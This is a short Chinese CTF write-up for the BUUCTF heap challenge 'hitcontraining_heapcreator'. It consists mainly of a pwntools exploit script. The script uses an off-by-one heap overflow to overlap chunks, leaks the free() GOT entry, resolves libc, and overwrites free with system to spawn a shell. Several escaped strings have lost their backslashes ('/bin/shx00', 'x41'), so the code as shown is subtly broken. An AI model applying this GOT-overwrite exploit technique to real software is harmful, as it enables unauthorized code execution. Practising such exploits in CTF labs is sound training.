题目

平台：BUUCTF

题目：hitcontraining_heapcreator

考点：64位堆编辑溢出Off-By-One

代码

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *

context(log_level = 'debug', arch = 'i386', os = 'linux')
#p = remote('node5.buuoj.cn', 26363)
p=process('./heapcreator')
#p = process(['./ld-2.31.so','./pwn'], env = {'LD_PRELOAD' : './libc-2.31.so'})
#p=gdb.debug('./heapcreator','b main')
elf = ELF('./heapcreator')
#libc=ELF('./libc-2.23.so')

def create(size, content):
    p.sendlineafter(b"Your choice :", b"1")
    p.sendlineafter(b"Size of Heap :", str(size))
    p.sendlineafter(b"Content of heap:", content)
 
def edit(idx, content):
    p.sendlineafter(b"Your choice :", b"2")
    p.sendlineafter(b"Index :", str(idx))
    p.sendafter(b"Content of heap :", content)

def show(idx):
    p.sendlineafter(b"Your choice :", b"3")
    p.sendlineafter(b"Index :", str(idx))
    
def free(idx):
    p.sendlineafter(b"Your choice :", b"4")
    p.sendlineafter(b"Index :", str(idx))

free_got = elf.got['free']

create(0x18,b'aaa') #0
create(0x10,b'bbb') #1

edit(0, "/bin/shx00" +"a"*0x10 + "x41")

free(1)

create(0x30,p64(0)*4+p64(0x30)+p64(free_got)) #1

show(1)


p.recvuntil("Content : ")
data = p.recvuntil("Done !")
 
free_addr = u64(data.split(b"n")[0].ljust(8,b"x00"))

libc = LibcSearcher('free', free_addr)
libc_base = free_addr - libc.dump('free')

system = libc_base + libc.dump('system')
print(hex(system))

edit(1,p64(system))

free(0)

p.interactive()